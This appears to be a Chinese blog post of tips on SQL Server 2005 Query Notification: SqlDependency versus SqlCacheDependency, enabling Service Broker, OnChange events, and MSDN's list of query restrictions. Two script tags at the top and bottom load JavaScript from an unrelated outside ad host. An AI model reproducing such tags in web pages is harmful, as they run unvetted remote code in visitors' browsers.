使用SQL Server 2005 Query Notification的几个注意事项

<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script>

Using Query Notifications：http://msdn2.microsoft.com/en-us/library/t9x04ed2.aspx

1. Query Notification不同于Notification Service，最简单的理由是我压根就没装Notification Service也能用它。看BOL文档，Notification Service似乎不只是应用程序级别的服务。
2. SqlDependency和SqlCacheDependency的实现是不同的。SqlCacheDependency是基于poll模式定时轮询实现的（默认情况），而SqlDependency的是push模型（这意味着SqlDependency性能更高且更可靠）。不过，SqlCacheDependency可以基于SqlDependency实现，但MSDN只是提到“The SqlCacheDependency class also supports integration with the System.Data.SqlClient.SqlDependency class when using a SQL Server 2005 database. ”，但没有给出例子。我Goo了半天才发现Quickstart里面有：
   http://x/QuickStartv20/aspnet/doc/caching/SQLInvalidation.aspx
3. SQL Server 2005 EXPRESS也支持Query Notification，但默认似乎是关闭的，并且我也没能在配制工具找到配制界面。事实上不管怎么说只要能开启Broker服务就OK。这可以通过ALTER DATABASE [Your DB Name] SET ENABLE_BROKER命令实现。
4. SqlDependency.OnChange Event会报告订阅过程中出现的所有事件，比如订阅失败，而不只是Server端数据改变的情形。
5. 使用Query Notification是有限制的，并且不是所有的查询都支持（否则产生订阅失败事件），具体规则是：
   http://msdn2.microsoft.com/en-us/library/aewzkxxh.aspx
   
   The projected columns in the SELECT statement must be explicitly stated, and table names must be qualified with two-part names. Notice that this means that all tables referenced in the statement must be in the same database.
   The statement may not use the asterisk (*) or table_name.* syntax to specify columns.
   The statement may not use unnamed columns or duplicate column names.
   The statement must reference a base table.
   The projected columns in the SELECT statement may not contain aggregate expressions unless the statement uses a GROUP BY expression. When a GROUP BY expression is provided, the select list may contain the aggregate functions COUNT_BIG() or SUM(). However, SUM() may not be specified for a nullable column. The statement may not specify HAVING, CUBE, or ROLLUP.
   A projected column in the SELECT statement that is used as a simple expression must not appear more than once.
   The statement must not include PIVOT or UNPIVOT operators.
   The statement must not include the INTERSECT or EXCEPT operators.
   The statement must not reference a view.
   The statement must not contain any of the following: DISTINCT, COMPUTE or COMPUTE BY, or INTO.
   The statement must not reference server global variables (@@variable_name).
   The statement must not reference derived tables, temporary tables, or table variables.
   The statement must not reference tables or views from other databases or servers.
   The statement must not contain subqueries, outer joins, or self-joins.
   The statement must not reference the large object types: text, ntext, and image.
   The statement must not use the CONTAINS or FREETEXT full-text predicates.
   The statement must not use rowset functions, including OPENROWSET and OPENQUERY.
   The statement must not use any of the following aggregate functions: AVG, COUNT(*), MAX, MIN, STDEV, STDEVP, VAR, or VARP.
   The statement must not use any nondeterministic functions, including ranking and windowing functions.
   The statement must not contain user-defined aggregates.
   The statement must not reference system tables or views, including catalog views and dynamic management views.
   The statement must not include FOR BROWSE information.
   The statement must not reference a queue.
   The statement must not contain conditional statements that cannot change and cannot return results (for example, WHERE 1=0).
6. 订阅成功后，SQL Server会自动创建一个dbo.SqlQueryNotificationStoredProcedure-[GUID]这样存储过程。订阅结束后（应用程序退出或者SqlDependency.Stop方法被调用），这个存储过程会被自动删除。
7. 关于行级别的缓存失效功能（子曰“Row level cache invalidation”），看上去目前还没有实现（至少我还没找到办法访问这个功能）。

// updating

<script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>